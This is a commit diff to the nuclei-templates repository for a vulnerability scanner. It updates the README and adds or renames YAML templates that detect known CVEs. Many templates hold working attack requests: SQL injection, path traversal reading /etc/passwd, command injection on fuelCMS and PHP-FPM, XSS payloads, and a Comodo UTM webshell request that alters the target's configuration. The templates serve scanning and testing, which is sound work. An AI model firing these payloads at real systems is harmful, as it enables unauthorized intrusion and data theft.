Update .nuclei-ignore

remvoing cve-2017-7529
This can be precisely checked only when Nginx version is known, otherwise it will produce false positives results, as such removing this template for the time being.
2026-11-07 08:36:19 -10:00 · 2020-09-27 15:42:48 +05:30 · 2020-09-27 15:41:50 +05:30 · 2020-09-27 13:59:33 +05:30 · 2020-09-27 13:56:14 +05:30 · 2020-09-27 13:25:36 +05:30
211 changed files with 2583 additions and 253 deletions
@@ -0,0 +1,14 @@
+---
+name: Submit Template
+about: Submit nuclei template using issue
+title: "[nuclei-template] "
+labels: ''
+assignees: ''
+
+---
+
+**Template Details**
+
+```
+nuclei template goes here
+```
@@ -1,4 +1,2 @@
 .pre-commit-config.yaml
 security-misconfiguration/missing-x-frame-options.yaml
-panels/
-cves/CVE-2020-13379.yaml
@@ -6,16 +6,40 @@
 [![Follow on Twitter](https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter)](https://twitter.com/pdnuclei)
 [![Chat on Discord](https://img.shields.io/discord/695645237418131507.svg?logo=discord)](https://discord.gg/KECAGdH)

-Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** and grow the list.
+Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.
+
+An overview of the nuclei template directory including number of templates and HTTP request associated with each directory. 
+
+### nuclei templates `v7.0.5`
+
+| Template Directory      	| Number of Templates      |
+|---------------------------|--------------------------|
+| cves                     	|106                       |
+| default-credentials       |03                        |
+| dns                     	|04                        |
+| files                     |40                        |
+| generic-detections        |03                        |
+| panels                    |35                        |
+| security-misconfiguration |23                  	   |
+| subdomain-takeover        |02           			   |
+| technologies              |27      				   |
+| tokens                    |07                        |
+| vulnerabilities           |31          			   |
+| workflows                 |15              		   |
+
+### nuclei templates `v7.0.5` tree overview 

 <details>
 <summary>Template Directory</summary>

 ```
-├── LICENSE.md
-├── README.md
 ├── cves
+│   ├── CVE-2005-2428.yaml
 │   ├── CVE-2017-10075.yaml
+│   ├── CVE-2017-14537.yaml
+│   ├── CVE-2017-14849.yaml
+│   ├── CVE-2017-5638.yaml
+│   ├── CVE-2017-7391.yaml
 │   ├── CVE-2017-7529.yaml
 │   ├── CVE-2017-9506.yaml
 │   ├── CVE-2017-9841.yaml
@@ -28,7 +52,9 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 │   ├── CVE-2018-13379.yaml
 │   ├── CVE-2018-14728.yaml
 │   ├── CVE-2018-16341.yaml
+│   ├── CVE-2018-16763.yaml
 │   ├── CVE-2018-18069.yaml
+│   ├── CVE-2018-19386.yaml
 │   ├── CVE-2018-19439.yaml
 │   ├── CVE-2018-20824.yaml
 │   ├── CVE-2018-2791.yaml
@@ -36,24 +62,38 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 │   ├── CVE-2018-3760.yaml
 │   ├── CVE-2018-5230.yaml
 │   ├── CVE-2018-7490.yaml
+│   ├── CVE-2019-1010287.yaml
 │   ├── CVE-2019-10475.yaml
+│   ├── CVE-2019-11043.yaml
+│   ├── CVE-2019-11248.yaml
 │   ├── CVE-2019-11510.yaml
+│   ├── CVE-2019-11580.yaml
 │   ├── CVE-2019-12314.yaml
+│   ├── CVE-2019-12461.yaml
+│   ├── CVE-2019-12593.yaml
 │   ├── CVE-2019-14322.yaml
+│   ├── CVE-2019-14696.yaml
 │   ├── CVE-2019-14974.yaml
 │   ├── CVE-2019-15043.yaml
+│   ├── CVE-2019-16278.yaml
+│   ├── CVE-2019-16662.yaml
 │   ├── CVE-2019-16759-1.yaml
 │   ├── CVE-2019-16759.yaml
 │   ├── CVE-2019-17382.yaml
+│   ├── CVE-2019-17558.yaml
 │   ├── CVE-2019-18394.yaml
 │   ├── CVE-2019-19368.yaml
 │   ├── CVE-2019-19781.yaml
 │   ├── CVE-2019-19908.yaml
 │   ├── CVE-2019-19985.yaml
 │   ├── CVE-2019-2588.yaml
+│   ├── CVE-2019-2725.yaml
 │   ├── CVE-2019-3396.yaml
 │   ├── CVE-2019-3799.yaml
 │   ├── CVE-2019-5418.yaml
+│   ├── CVE-2019-6112.yaml
+│   ├── CVE-2019-6715.yaml
+│   ├── CVE-2019-7256.yaml
 │   ├── CVE-2019-7609.yaml
 │   ├── CVE-2019-8449.yaml
 │   ├── CVE-2019-8451.yaml
@@ -62,28 +102,43 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 │   ├── CVE-2019-9978.yaml
 │   ├── CVE-2020-10199.yaml
 │   ├── CVE-2020-10204.yaml
+│   ├── CVE-2020-11034.yaml
 │   ├── CVE-2020-1147.yaml
 │   ├── CVE-2020-12720.yaml
 │   ├── CVE-2020-13167.yaml
 │   ├── CVE-2020-13379.yaml
+│   ├── CVE-2020-15129.yaml
+│   ├── CVE-2020-15505.yaml
+│   ├── CVE-2020-15920.yaml
+│   ├── CVE-2020-16139.yaml
+│   ├── CVE-2020-17505.yaml
+│   ├── CVE-2020-17506.yaml
 │   ├── CVE-2020-2096.yaml
+│   ├── CVE-2020-2140.yaml
+│   ├── CVE-2020-24223.yaml
+│   ├── CVE-2020-25540.yaml
 │   ├── CVE-2020-3187.yaml
 │   ├── CVE-2020-3452.yaml
 │   ├── CVE-2020-5284.yaml
 │   ├── CVE-2020-5405.yaml
 │   ├── CVE-2020-5410.yaml
+│   ├── CVE-2020-5412.yaml
+│   ├── CVE-2020-5776.yaml
+│   ├── CVE-2020-5777.yaml
 │   ├── CVE-2020-5902.yaml
 │   ├── CVE-2020-6287.yaml
 │   ├── CVE-2020-7209.yaml
 │   ├── CVE-2020-7961.yaml
 │   ├── CVE-2020-8091.yaml
 │   ├── CVE-2020-8115.yaml
+│   ├── CVE-2020-8163.yaml
 │   ├── CVE-2020-8191.yaml
 │   ├── CVE-2020-8193.yaml
 │   ├── CVE-2020-8194.yaml
 │   ├── CVE-2020-8512.yaml
 │   ├── CVE-2020-8982.yaml
 │   ├── CVE-2020-9484.yaml
+│   ├── CVE-2020-9496.yaml
 │   └── CVE-2020-9757.yaml
 ├── default-credentials
 │   ├── grafana-default-credential.yaml
@@ -97,11 +152,13 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 ├── files
 │   ├── apc-info.yaml
 │   ├── cgi-test-page.yaml
-│   ├── debug-pprof.yaml
 │   ├── dir-listing.yaml
 │   ├── docker-registry.yaml
+│   ├── druid-monitor.yaml
 │   ├── drupal-install.yaml
+│   ├── ds_store.yaml
 │   ├── elasticsearch.yaml
+│   ├── error-logs.yaml
 │   ├── exposed-kibana.yaml
 │   ├── exposed-svn.yaml
 │   ├── filezilla.yaml
@@ -112,16 +169,24 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 │   ├── jolokia.yaml
 │   ├── laravel-env.yaml
 │   ├── lazy-file.yaml
+│   ├── ntlm-directories.yaml
 │   ├── phpinfo.yaml
 │   ├── public-tomcat-instance.yaml
+│   ├── robots.txt.yaml
 │   ├── security.txt.yaml
 │   ├── server-status-localhost.yaml
+│   ├── sql-dump.yaml
 │   ├── telerik-dialoghandler-detect.yaml
 │   ├── telerik-fileupload-detect.yaml
 │   ├── tomcat-scripts.yaml
 │   ├── wadl-files.yaml
 │   ├── web-config.yaml
+│   ├── wordpress-db-backup.yaml
+│   ├── wordpress-debug-log.yaml
 │   ├── wordpress-directory-listing.yaml
+│   ├── wordpress-emergency-script.yaml
+│   ├── wordpress-installer-log.yaml
+│   ├── wordpress-tmm-db-migrate.yaml
 │   ├── wordpress-user-enumeration.yaml
 │   ├── wp-xmlrpc.yaml
 │   └── zip-backup-files.yaml
@@ -130,6 +195,7 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 │   ├── general-tokens.yaml
 │   └── top-15-xss.yaml
 ├── panels
+│   ├── adminer-panel.yaml
 │   ├── atlassian-crowd-panel.yaml
 │   ├── cisco-asa-panel.yaml
 │   ├── citrix-adc-gateway-detect.yaml
@@ -139,45 +205,68 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 │   ├── fortinet-fortigate-panel.yaml
 │   ├── globalprotect-panel.yaml
 │   ├── grafana-detect.yaml
+│   ├── iomega-lenovo-emc-shared-nas-detect.yaml
 │   ├── jenkins-asyncpeople.yaml
 │   ├── jmx-console.yaml
 │   ├── kubernetes-pods.yaml
+│   ├── mobileiron-login.yaml
 │   ├── mongo-express-web-gui.yaml
+│   ├── netscaler-gateway.yaml
 │   ├── parallels-html-client.yaml
+│   ├── pfsense-web-gui.yaml
 │   ├── phpmyadmin-panel.yaml
+│   ├── polycom-admin-detect.yaml
 │   ├── pulse-secure-panel.yaml
 │   ├── rabbitmq-dashboard.yaml
 │   ├── sap-netweaver-detect.yaml
 │   ├── sap-recon-detect.yaml
+│   ├── sonarqube-login.yaml
 │   ├── sophos-fw-version-detect.yaml
 │   ├── supervpn-panel.yaml
 │   ├── swagger-panel.yaml
 │   ├── tikiwiki-cms.yaml
+│   ├── traefik-dashboard
+│   ├── traefik-dashboard.yaml
 │   ├── weave-scope-dashboard-detect.yaml
-│   └── webeditors.yaml
+│   ├── webeditors.yaml
+│   └── workspaceone-uem-airWatch-dashboard-detect.yaml
 ├── payloads
+│   ├── CVE-2020-5776.csv
 │   └── CVE-2020-6287.xml
 ├── security-misconfiguration
 │   ├── basic-cors-flash.yaml
 │   ├── basic-cors.yaml
+│   ├── django-debug-detect.yaml
+│   ├── drupal-user-enum-ajax.yaml
+│   ├── drupal-user-enum-redirect.yaml
 │   ├── front-page-misconfig.yaml
 │   ├── jira-service-desk-signup.yaml
 │   ├── jira-unauthenticated-dashboards.yaml
 │   ├── jira-unauthenticated-popular-filters.yaml
 │   ├── jira-unauthenticated-projects.yaml
 │   ├── jira-unauthenticated-user-picker.yaml
+│   ├── larvel-debug.yaml
+│   ├── missing-csp.yaml
+│   ├── missing-hsts.yaml
+│   ├── missing-x-frame-options.yaml
+│   ├── put-method-enabled.yaml
 │   ├── rack-mini-profiler.yaml
 │   ├── springboot-detect.yaml
+│   ├── unauthenticated-airflow.yaml
+│   ├── unauthenticated-jenkin-dashboard.yaml
 │   ├── wamp-xdebug-detect.yaml
-│   └── wordpress-accessible-wpconfig.yaml
+│   ├── wordpress-accessible-wpconfig.yaml
+│   └── zenphoto-installation-sensitive-info.yaml
 ├── subdomain-takeover
 │   ├── detect-all-takeovers.yaml
 │   └── s3-subtakeover.yaml
 ├── technologies
+│   ├── artica-web-proxy-detect.yaml
 │   ├── bigip-config-utility-detect.yaml
 │   ├── citrix-vpn-detect.yaml
 │   ├── clockwork-php-page.yaml
 │   ├── couchdb-detect.yaml
+│   ├── favicon-detection.yaml
 │   ├── github-enterprise-detect.yaml
 │   ├── gitlab-detect.yaml
 │   ├── graphql.yaml
@@ -187,12 +276,14 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 │   ├── liferay-portal-detect.yaml
 │   ├── linkerd-badrule-detect.yaml
 │   ├── linkerd-ssrf-detect.yaml
+│   ├── lotus-domino-version.yaml
+│   ├── magmi-detect.yaml
 │   ├── netsweeper-webadmin-detect.yaml
-│   ├── ntlm-directories.yaml
 │   ├── prometheus-exposed-panel.yaml
 │   ├── s3-detect.yaml
 │   ├── sap-netweaver-as-java-detect.yaml
 │   ├── sap-netweaver-detect.yaml
+│   ├── shiro-detect.yaml
 │   ├── sql-server-reporting.yaml
 │   ├── tech-detect.yaml
 │   ├── weblogic-detect.yaml
@@ -200,18 +291,23 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 ├── tokens
 │   ├── amazon-mws-auth-token-value.yaml
 │   ├── aws-access-key-value.yaml
+│   ├── credentials-disclosure.yaml
 │   ├── google-api-key.yaml
 │   ├── http-username-password.yaml
 │   ├── mailchimp-api-key.yaml
 │   └── slack-access-token.yaml
 ├── vulnerabilities
+│   ├── Symantec-Messaging-Gateway.yaml
+│   ├── bullwark-momentum-series-directory-traversal.yaml
 │   ├── cached-aem-pages.yaml
 │   ├── couchdb-adminparty.yaml
 │   ├── crlf-injection.yaml
 │   ├── discourse-xss.yaml
+│   ├── eclipse-help-system-xss.yaml
 │   ├── git-config-nginxoffbyslash.yaml
 │   ├── ibm-infoprint-directory-traversal.yaml
 │   ├── microstrategy-ssrf.yaml
+│   ├── mida-eframework-xss.yaml
 │   ├── moodle-filter-jmol-lfi.yaml
 │   ├── moodle-filter-jmol-xss.yaml
 │   ├── nginx-module-vts-xss.yaml
@@ -220,19 +316,28 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 │   ├── pdf-signer-ssti-to-rce.yaml
 │   ├── rce-shellshock-user-agent.yaml
 │   ├── rce-via-java-deserialization.yaml
+│   ├── sick-beard-xss.yaml
 │   ├── springboot-actuators-jolokia-xxe.yaml
+│   ├── springboot-h2-db-rce.yaml
 │   ├── symfony-debugmode.yaml
 │   ├── tikiwiki-reflected-xss.yaml
 │   ├── tomcat-manager-pathnormalization.yaml
 │   ├── twig-php-ssti.yaml
+│   ├── wems-manager-xss.yaml
 │   ├── wordpress-duplicator-path-traversal.yaml
+│   ├── wordpress-emails-verification-for-woocommerce.yaml
 │   ├── wordpress-wordfence-xss.yaml
 │   └── x-forwarded-host-injection.yaml
 └── workflows
+    ├── artica-web-proxy-workflow.yaml
    ├── bigip-pwner-workflow.yaml
+    ├── cisco-asa-workflow.yaml
    ├── grafana-workflow.yaml
    ├── jira-exploitaiton-workflow.yaml
    ├── liferay-rce-workflow.yaml
+    ├── lotus-domino-workflow.yaml
+    ├── magmi-workflow.yaml
+    ├── mida-eframework-workflow.yaml
    ├── netsweeper-preauth-rce-workflow.yaml
    ├── rabbitmq-workflow.yaml
    ├── sap-netweaver-workflow.yaml
@@ -243,7 +348,7 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n

 </details>

-13 directories, **214 templates**. 
+13 directories, **298 templates**. 

 Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 

@@ -253,3 +358,4 @@ Please navigate to https://nuclei.projectdiscovery.io for detailed documentation
 2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.

 Thanks again for your contribution and keeping the community vibrant. :heart:
+
@@ -0,0 +1,20 @@
+id: cve-2005-2428
+info:
+  name: CVE-2005-2428 testing
+  author: CasperGN
+  severity: medium
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/names.nsf/People?OpenView"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        name: domino-username
+        regex:
+          - '(<a href\=\"/names\.nsf/[0-9a-z\/]+\?OpenDocument)'
+        part: body
@@ -1,4 +1,4 @@
-id: CVE-2017-10075
+id: cve-2017-10075

 info:
  name: Oracle Content Server XSS
@@ -0,0 +1,24 @@
+id: cve-2017-11444
+
+info:
+  name: Subrion CMS SQL Injection
+  author: dwisiswant0
+  severity: high
+  description: Subrion CMS before 4.1.5.10 has a SQL injection vulnerability in /front/search.php via the $_GET array.
+
+  # Source:
+  # - https://mp.weixin.qq.com/s/89mCnjUCvmptLsKaeVlC9Q
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/search/members/?id`%3D520)%2f**%2funion%2f**%2fselect%2f**%2f1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2Cunhex%28%2770726f6a656374646973636f766572792e696f%27%29%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%23sqli=1"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "projectdiscovery.io"
+        part: body
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,51 @@
+id: cve-2017-14537
+
+info:
+  name: trixbox 2.8.0 - directory-traversal
+  author: pikpikcu
+  severity: medium
+
+# Refrence:-https://nvd.nist.gov/vuln/detail/CVE-2017-14537
+# https://secur1tyadvisory.wordpress.com/2018/02/13/trixbox-multiple-path-traversal-vulnerabilities-cve-2017-14537/
+# Product vendor:-https://sourceforge.net/projects/asteriskathome/
+
+requests:
+  - raw:
+      - |
+        POST /maint/index.php?packages HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Content-Type: application/x-www-form-urlencoded
+        Referer: {{Hostname}}/maint/index.php?packages
+        Content-Length: 160
+        Cookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2
+        Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
+        Connection: keep-alive
+
+        xajax=menu&xajaxr=1504969293893&xajaxargs[]=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&xajaxargs[]=yumPackages
+
+      - |
+        GET /maint/modules/home/index.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00english HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Referer: {{Hostname}}/maint/index.php?packages
+        Cookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2
+        Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
+        Connection: keep-alive
+        Upgrade-Insecure-Requests: 1
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body
@@ -1,4 +1,4 @@
-id: CVE-2017-14849
+id: cve-2017-14849

 info:
  name: Node.js 8.5.0 >=< 8.6.0 Directory Traversal
@@ -1,4 +1,4 @@
-id: CVE-2017-5638
+id: cve-2017-5638
 info:
  author: "Random Robbie"
  name: "Struts2 RCE "
@@ -26,5 +26,5 @@ requests:
    matchers:
      - type: word
        words:
-          - "Bounty Plz"
-        part: header
+          - "X-Hacker: Bounty Plz"
+        part: header
@@ -0,0 +1,25 @@
+id: cve-2017-7391
+
+info:
+  name: Magmi – Cross-Site Scripting v.0.7.22
+  author: pikpikcu
+  severity: medium
+  description: A Cross-Site Scripting (XSS) was discovered in 'Magmi 0.7.22'. The vulnerability exists due to insufficient filtration of user-supplied data (prefix) passed to the 'magmi-git-master/magmi/web/ajax_gettime.php' URL.
+
+  # Issues:-https://github.com/dweeves/magmi-git/issues/522
+  # Download:-https://github.com/dweeves/magmi-git/releases/download/0.7.22/magmi_full_0.7.22.zip
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/magmi/web/ajax_gettime.php?prefix=%22%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3C"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '"><script>alert(document.domain);</script><'
+        part: body
@@ -1,30 +0,0 @@
-id: CVE-2017-7529
-info:
-  author: "Harsh Bothra"
-  name: "Nginx Remote Integer Overflow"
-  severity: medium
-  description: Nginx versions since 0.5.6 up to and including 1.13.2 are vulnerable to integer overflow vulnerability in nginx range filter module resulting into leak of potentially sensitive information triggered by specially crafted request.
-
-# This template supports the detection part only.
-# Do not test any website without permission
-# https://gist.githubusercontent.com/BlackVirusScript/75fae10a037c376555b0ad3f3da1a966/raw/d1cc081053636711881ea45c84e0971d5babe103/CVE-2017-7529.py
-
-requests:
-  - raw:
-      - |
-          GET / HTTP/1.1
-          Host: {{Hostname}}
-          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
-          Accept-Language: en-US,en;q=0.5
-          Range: bytes=-17208,-9223372036854758792
-          Connection: close
-
-    matchers-condition: and
-    matchers:
-      - type: status
-        status:
-          - 206
-      - type: word
-        words:
-          - Content-Range
-        part: header
@@ -1,4 +1,4 @@
-id: CVE-2017-9506
+id: cve-2017-9506

 info:
  name: Jira IconURIServlet SSRF
@@ -1,9 +1,9 @@
-id: CVE-2017-9841
+id: cve-2017-9841

 info:
  name: CVE-2017-9841
  author: Random-Robbie
-  severity: High
+  severity: high
  description: Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring, as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI
  # Reference to exploit
  # https://github.com/cyberharsh/Php-unit-CVE-2017-9841
@@ -1,4 +1,4 @@
-id: CVE-2018-0296
+id: cve-2018-0296

 info:
  name: Cisco ASA path traversal vulnerability
@@ -1,17 +1,17 @@
-id: CVE-2018-1000129
+id: cve-2018-1000129

 info:
  name: Jolokia XSS
-  author: mavericknerd
+  author: mavericknerd @0h1in9e
  severity: high
  description: An XSS vulnerability exists in the Jolokia agent version 1.3.7 in the HTTP servlet that allows an attacker to execute malicious javascript in the victim's browser.

 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
-      - "{{BaseURL}}/api/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
-      - "{{BaseURL}}:8080/jolokia/read%3Csvg/onload=alert(1337)%3E?mimeType=text/html"
+      - "{{BaseURL}}/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
+      - "{{BaseURL}}/api/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
+      - "{{BaseURL}}:8080/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
    matchers-condition: and
    matchers:
      - type: status
@@ -19,5 +19,9 @@ requests:
          - 200
      - type: word
        words:
-          - "<svg/onload=alert(1337)>"
+          - "<svg onload=alert(document.domain)>"
        part: body
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -1,4 +1,4 @@
-id: CVE-2018-11409
+id: cve-2018-11409

 info:
  name: Splunk Sensitive Information Disclosure
@@ -1,4 +1,4 @@
-id: CVE-2018-11759
+id: cve-2018-11759

 info:
  name: Apache Tomcat JK Status Manager Access
@@ -1,4 +1,4 @@
-id: CVE-2018-1247
+id: cve-2018-1247

 info:
  name: RSA Authentication Manager XSS
@@ -1,9 +1,9 @@
-id: CVE-2018-1271
+id: cve-2018-1271

 info:
  name: Spring MVC Directory Traversal Vulnerability
  author: hetroublemakr
-  severity: High
+  severity: high
  # reference: https://medium.com/@knownsec404team/analysis-of-spring-mvc-directory-traversal-vulnerability-cve-2018-1271-b291bdb6be0d

 requests:
@@ -1,4 +1,4 @@
-id: CVE-2018-13379
+id: cve-2018-13379

 info:
  name: FortiOS - Credentials Disclosure
@@ -1,4 +1,4 @@
-id: CVE-2018-14728
+id: cve-2018-14728

 info:
  name: Responsive filemanager 9.13.1 - SSRF/LFI
@@ -1,4 +1,4 @@
-id: CVE-2018-16341
+id: cve-2018-16341

 info:
  name: Nuxeo Authentication Bypass Remote Code Execution
@@ -0,0 +1,26 @@
+id: cve-2018-16763
+
+info:
+  name: fuelCMS 1.4.1 - Remote Code Execution
+  author: pikpikcu
+  severity: critical
+
+# Vendor Homepage: https://www.getfuelcms.com/
+# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
+# Refrence: https://www.exploit-db.com/exploits/47138
+
+requests:
+  - raw:
+      - |
+        GET /fuel/pages/select/?filter=%27%2bpi(print(%24a%3d%27system%27))%2b%24a(%27cat%20/etc/passwd%27)%2b%27 HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
@@ -0,0 +1,33 @@
+id: cve-2018-17431
+
+info:
+  name: Comodo Unified Threat Management Web Console 2.7.0 - RCE
+  author: dwisiswant0
+  severity: critical
+  description: Comodo Firewall & Central Manager (UTM) All Release before 2.7.0 & 1.5.0 Remote Code Execution (Web Shell based)
+
+  # References:
+  # - https://www.exploit-db.com/exploits/48825
+  # - https://secure.comodo.com/home/purchase.php?pid=106&license=try&track=9276&af=9276
+
+requests:
+  - raw:
+      - |
+        GET /manage/webshell/u?s=5&w=218&h=15&k=%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a&l=62&_=5621298674064 HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+
+      - | # to triggering RCE
+        GET /manage/webshell/u?s=5&w=218&h=15&k=%0a&l=62&_=5621298674064 HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Configuration has been altered"
+        part: body
+      - type: status
+        status:
+          - 200
@@ -1,4 +1,4 @@
-id: CVE-2018-18069
+id: cve-2018-18069

 info:
  name: Wordpress unauthenticated stored xss
@@ -0,0 +1,22 @@
+id: cve-2018-19386
+
+info:
+  name: SolarWinds Database Performance Analyzer 11.1. 457 - Cross Site Scripting
+  author: pikpikcu
+  severity: medium
+
+# Refrence:-https://www.cvedetails.com/cve/CVE-2018-19386/
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/iwc/idcStateError.iwc?page=javascript%3aalert(document.cookie)%2f%2f"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - 'javascript:alert(document.cookie)//'
@@ -1,4 +1,4 @@
-id: CVE-2018-19439
+id: cve-2018-19439

 info:
  name: Cross Site Scripting in Oracle Secure Global Desktop Administration Console
@@ -1,4 +1,4 @@
-id: CVE-2018-20824
+id: cve-2018-20824

 info:
  name: Atlassian Jira WallboardServlet XSS
@@ -1,4 +1,4 @@
-id: CVE-2018-2791
+id: cve-2018-2791

 info:
  name: Oracle WebCenter Sites XSS
@@ -1,4 +1,4 @@
-id: CVE-2018-3714
+id: cve-2018-3714
 info:
  name: node-srv Path Traversal
  author: madrobot
@@ -1,4 +1,4 @@
-id: CVE-2018-3760
+id: cve-2018-3760

 info:
  name: Rails cve-2018-3760
@@ -1,4 +1,4 @@
-id: CVE-2018-5230
+id: cve-2018-5230

 info:
  name: Atlassian Confluence Status-List XSS
@@ -1,4 +1,4 @@
-id: CVE-2018-7490
+id: cve-2018-7490

 info:
  name: uWSGI PHP Plugin Directory Traversal
@@ -0,0 +1,37 @@
+id: cve-2019-1010287
+
+info:
+  name: Timesheet 1.5.3 - Cross Site Scripting
+  author: pikpikcu
+  severity: high
+
+# Refrence:-https://nvd.nist.gov/vuln/detail/CVE-2019-1010287
+# Google-Dork: inurl:"/timesheet/login.php"
+# Demo: http://www.mdh-tz.info/
+
+requests:
+  - raw:  # Metod POST  From  login.php
+      - |
+        POST /timesheet/login.php HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 91
+        DNT: 1
+        Connection: keep-alive
+        Upgrade-Insecure-Requests: 1
+
+        username=%27%22%3E%3Cscript%3Ejavascript%3Aalert%28document.domain%29%3C%2Fscript%3E&password=pd&submit=Login
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '><script>javascript:alert(document.domain)</script>'
+        part: body
@@ -1,4 +1,4 @@
-id: CVE-2019-10475
+id: cve-2019-10475

 info:
  name: Jenkins build-metrics plugin 1.3 - 'label' Cross-Site Scripting
@@ -0,0 +1,18 @@
+id: cve-2019-11043
+
+info:
+  name: PHP-FPM & nginx RCE
+  author: geeknik
+  severity: high
+  description: https://github.com/neex/phuip-fpizdam
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/?a=/bin/sh+-c+'which+which'&"
+
+    matchers:
+      - type: word
+        words:
+          - "/bin/which"
+        part: body
@@ -1,4 +1,4 @@
-id: CVE-2019-11248
+id: cve-2019-11248

 info:
  name: exposed_pprof
@@ -1,4 +1,4 @@
-id: CVE-2019-11510
+id: cve-2019-11510

 info:
  name: Pulse Connect Secure SSL VPN arbitrary file read vulnerability
@@ -1,4 +1,4 @@
-id: CVE-2019-11580
+id: cve-2019-11580

 info:
  name: Atlassian Crowd & Crowd Data Center - Unauthenticated RCE
@@ -1,4 +1,4 @@
-id: CVE-2019-12314
+id: cve-2019-12314

 info:
  name: Deltek Maconomy 2.2.5 LFIl
@@ -0,0 +1,25 @@
+id: cve-2019-12461
+
+info:
+  name: WebPort 1.19.1 - Reflected Cross-Site Scripting
+  author: pikpikcu
+  severity: medium
+
+# Vendor Homepage: https://webport.se/
